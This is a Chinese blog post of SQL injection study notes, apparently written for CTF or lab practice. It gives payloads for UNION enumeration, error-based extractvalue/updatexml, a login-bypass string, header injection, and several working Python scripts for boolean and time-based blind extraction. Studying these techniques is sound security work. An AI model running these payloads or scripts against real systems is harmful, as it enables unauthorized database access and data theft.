R0ot's Blog

分享代码,记录生活

0%

SQL注入的学习

简介

  1. 什么是sql注入:
    所谓的sql注入就是通过构造“恶意”的代码,让服务器把提交的数据当做sql语句进行执行,从而查询到想要的信息

  2. 注入的分类
    注入大致可以分为
    按照查询字段 1.字符型 2.数字型(整形)
    按照注入方法 1.Union注入 2.报错注入 3.布尔盲注 4.时间盲注

  3. 什么是注入点
    注入点就是数据库连接访问的地方,例如URL栏,或是页面提供的表单等
    如果这个地方会把用户输入的数据误解成SQL语法,则认为这个地方是注入点
    例如:输入'判断是否存在注入点,报错则说明把'当成代码,存在注入点

  4. 闭合

    1. 闭合符
      ' " ') ")
    2. 闭合方式判断
      在语句上加入闭合符,如果页面产生错误,再加上注释符(--+,#,%23)页面又恢复正常,则证明这是该语句的闭合符
    3. 闭合的作用
      手工闭合前一段查询语句,后面加入其他语句,查询需要的参数,不需要的语句可以用注释符注释

GET提交注入

字符型与整数型注入的判断

原理:字符型需要闭合,两端会有闭合符单引号'',而数字型不需要闭合符,两种不同类型会把输入的数字与符号理解成不同含义

  1. and 1=1and 1=2
    如果是数字型,and 1=2时,逻辑错误,页面报错(或无回显),而如果为字符类型,and不会被解析成逻辑判断,只读取第一个字符,不会报错
  2. 减法2-1
    原理: 有回显的情况下,如果是整数型则会做减法,返回2-1的结果1,如果是字符型只会读取第一个字符2

列数的判断

可以利用group by 列数order by 列数,如果找不到对应列数就会报错,利用二分法快速判断总列数

Union查询

  1. 联合查询特性
    union查询会临时打印一张虚拟的表,会将新创建的虚拟表中的数据也加入数据库,有时可以根据这个特性,将账号密码加入数据库,然后登入
    可以在不知道密码的情况下绕过密码登入
    例如name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123 ps:密码常用md5的方式加密

  2. 原理
    利用Union查询,闭合前一句查询语句,然后可以在原本的查询语句后面加入想要的查询语句,但由于Union联合查询的前提 必须有回显,必须列数与类型一致.

  3. 改变回显位置
    有时页面只能显示一个内容,第二句内容不显示,可以把原本的第一句内容改为数据库不存在的数据(如id=-1),从而使页面回显想要的内容

  4. 关键数据库
    information_schema这个数据库里有两张关键的数据表

    1. tables 是所有表名的集合
      tables里的table_name字段储存的是表名,table_schema字段储存的是表所在的数据库
    2. columns 是所有字段的集合
      columns里的column_name字段储存的是字段名
  5. group_concat()
    确保所有的信息能放在一行显示出来,但是有时显示位不够时,group_concat()可能会显示不全,这时候建议使用limit分页查询

  6. 爆破当前数据库名

    1. 查询当前数据库
      union select database() 无限定条件
    2. 查询所有数据库
      union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
      注意:有些时候flag会放在别的数据库
  7. 爆破表名

    1
    union select group_concat(table_name) from information_schema.tables where table_schema=database()

    –限定条件一个,为当前所在的库

  8. 爆破字段名

    1
    union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='上一步爆破出来的表名' 

    –限定条件两个,1.为当前所在的库,2.上一步爆破出的表名
    –更新,似乎不要第一个条件也可以,这样可以省略中间的and

  9. 获取数据
    union select group_concat(爆破字段1,爆破字段2) from 爆破出来的表名

报错注入

  1. 原理
    前段页面不区别的直接将输入内容拼接成SQL语句,后端执行后也无差别的将结果显示到页面上.
    构造语句,让错误信息中夹杂可以查询数据内容的查询语句,让返回的错误提示中包含数据库的内容.适用于无回显有报错的情况

  2. extractvalue报错

    1
    and 1=extractvalue(100,concat(0x7e,(查询内容)))
    1. 原理:
      extractvalue()函数的报错是会把报错地址回显出来,利用在extractvalue地址语句中插入sql查询语句,让报错提示把想要的信息回显,(查询语句)中写入对应的查询语句即可
    2. 注意:
      100的位置可以随意写,只要不存在的列名会报错即可,concat(参数1,参数2)的作用是将逗号两边的内容拼接起来,而0x7e代表的是字符~,这是extractvalue回显的关键
    3. substring(参数1,参数2,参数3)控制输出
      1
      and 1=extractvalue(100,concat(0x7e,(select substring( group_concat(爆破字段1,爆破字段2),1,30)from 爆破出的表名 )))
      使用原因:extractvalue报错注入默认只能返回三十二个字符,有时无法获取整个数据
      用法:参数1是需要查看的数据,参数2是从第几个字符开始看,参数3是看几个字符
      当然,这边也可以使用limit,不使用subtring+group_concat
      1
      and 1=extractvalue(100,concat(0x7e,(select password from users limit 0,1 )))
  3. updatexml报错

    1. updatexml(1,concat(0x7e,(查询内容)),3)
      updatexml在报错注入方面和extractvalue几乎没有差别,只是地址参数变成了第二个,
  4. floor报错
    暂略

布尔盲注

  1. 原理 :适用于页面无回显也无报错,但是页面有真假的区别的情况
  2. 基本格式
    and ascii (substr((查询语句),1,1))>100 --+
  3. ascii()
    通过ascii()将查询的数据转为ascii码判断真假,为真,最后结果为1,为假,最后结果为0
  4. substring(参数1,参数2,参数3)控制输出
    参数1是需要查看的数据,参数2是从第几个字符开始看(从一开始每次加一),参数3是看几个字符(每次一个)
  5. 二分法脚本:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import time
    import requests
    url = '查询网址'
    table = "" #储存数据
    flag ="真值条件"
    bihe="?id=1'" #闭合方式
    for i in range(1, 100):
    print(i)
    left = 31
    right = 128
    mid = (left + right) // 2
    while(left<right):
    payload = f"and ascii (substr((查询语句),{i},1))>{mid} --+"
    new_url = url +bihe+ payload
    if flag in requests.get(url=new_url).text:
    left = mid + 1
    else:
    right=mid
    mid = (left + right) // 2
    table= table + chr(mid)
    print(table)
    #time.sleep(0.5)
    注意点:二分法(<,>,+1), mid = (left + right) // 2要写两个,其中一个在最后
    另一种写法的二分法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import  requests
    url=''
    table=""
    bihe="?id=1'"
    flag=""
    for i in range(1,100):
    print(i)
    left=31
    right=128
    while(1):
    mid = (left + right) // 2
    pyload=f"and ascii(substr((select database()),{i},1))>{mid} --+"
    if flag in requests.get(url=url+bihe+pyload).text:
    left=mid+1
    elif left==right:
    table += chr(mid)
    break
    else:
    right=mid
    print(table)

时间盲注

  1. 原理:
    适用于页面有注入点,可以把输入内容当做代码执行,但是既没有回显也无报错,甚至无法区别真假。这是可以利用sleep()函数测试,如果页面出现延迟,则说明存在注入点
  2. 关键函数if(参数1,参数2,参数3)
    这是SQL的if语法,参数1作为判断,若为真,则返回参数2,若为假,则返回参数三
  3. 基本格式
    and if(ascii (substr((查询语句),1,1))>100,sleep(2),0)--+
  4. 时间盲注脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    import requests
    import time
    url = '查询地址'
    table = "" #储存数据
    bihe="?id=1'" #闭合方式
    for i in range(1, 100):
    print(i)
    left = 31
    right = 128
    mid = (left + right) // 2
    while(left<right):
    payload = f"and if(ascii (substr((查询语句),{i},1))>{mid},sleep(2),0)--+"
    new_url = url +bihe+ payload
    start=time.time()
    requests.get(url=new_url)
    end=time.time()
    if end-start>=2: #注意,这里要判断基本延迟
    left = mid + 1
    else:
    right=mid
    mid = (left + right) // 2
    table= table + chr(mid)
    print(table)
    注意:基本框架和布尔盲注类似,只要将布尔盲注的真值判断改为时间差即可(当然sql语句也要改),但脚本请求有基本的延迟,需要先判断基本延迟,如果特别卡可以把sleep()的时间改小一点
    延迟判断
    1
    2
    3
    start=time.time()
    requests.get(url=new_url)
    end=time.time()
    在这段语句后面加上一个print(end-start)即可,会不断跳出来数字,偏大的即为成功执行sleep

文件上传注入

暂略

and和or

如果要实现布尔盲注(需要页面有真假值的反馈),如果使用and,必须保证前半段语句是正确的,如果使用or,则必须保证前半段语句是错误的

POST提交注入

post提交和get提交的主要区别就是,post提交相对get提交更安全一些,一般的表单等密码输入都是采用post提交

post提交的闭合判断

若输入闭合符导致页面报错(或不显示),加上or 1=1 #后可以成功登入,则说明存在注入点,且闭合符为输入闭合符

时间盲注

  1. 原理
    post提交在手动注入上和get没有什么区别,但是在python脚本里,get提交是利用字符串的拼接来实现对网址的传参,而post提交则要利用字典
  2. 二分法脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    import requests
    import time
    url = '地址'
    table = "" # 储存数据
    for i in range(1, 100):
    print(i)
    left = 31
    right = 128
    mid = (left + right) // 2
    while (left < right):
    date = {
    "uname": f"1' or if(ascii (substr((查询语句),{i},1))>{mid},sleep(2),0) #", #post要提交的数据
    "passwd": "1",
    "submit": "Submit"
    }
    start = time.time()
    requests.post(url=url,data=date)
    end = time.time()
    if end - start >=2: # 注意,这里要判断基本延迟
    left = mid + 1
    else:
    right = mid
    mid = (left + right) // 2
    table = table + chr(mid)
    print(table)

布尔盲注

  1. 判断条件
    如果条件是以图片的形式显示的,需要写成相对路径.jpg,例如../images/flag.jpg(两个小数点..表示上一个目录)
  2. 二分法脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    import time
    import requests
    url = '地址'
    table = "" # 储存数据
    flag='../images/flag.jpg' #真值条件
    for i in range(1, 100):
    print(i)
    left = 31
    right = 128
    mid = (left + right) // 2
    while (left < right):
    date = {
    "uname": f"1' or ascii (substr((查询条件),{i},1))>{mid} #", # post要提交的数据
    "passwd": "1",
    "submit": "Submit"
    }
    if flag in requests.post(url=url, data=date).text: # 注意,这里要判断基本延迟
    left = mid + 1
    else:
    right = mid
    mid = (left + right) // 2
    table = table + chr(mid)
    print(table)
    #time.sleep(0.5)

头信息注入

  1. 如果网站记录了浏览信息或者是IP信息之类,就有可能存在头注入
  2. 有些网站可能需要登入进之后才能进行头注入
  3. 需要注意闭合和列数要保持一致
  4. 头信息有区别,但是本质上几种不同的头信息注入没有区别
  5. 可以利用hackbar,也可以用抓包软件burpsuite进行请求头的修改
    请求头

一些代表ip的头信息

1
2
3
4
5
6
7
X-Forwarded-For(XFF):用于标识通过代理服务器传输请求时的客户端IP地址。如果使用了多个代理,该头信息可能包含多个IP地址,以逗号分隔。

X-Real-IP:用于记录通过代理服务器传输请求时的客户端真实IP地址。

CF-Connecting-IP:用于记录通过Cloudflare CDN传输请求时的客户端IP地址。

X-Client-IP:用于记录通过代理服务器传输请求时的客户端IP地址

注入编码

有时候网站会对cookie或其他的一些注入点进行编码,这时候需要把我们的查询语句编码后再放入指定位置,但注释符也可能无法成功编码,这时候可以利用and '1'='1类似这样的语句产生注释效果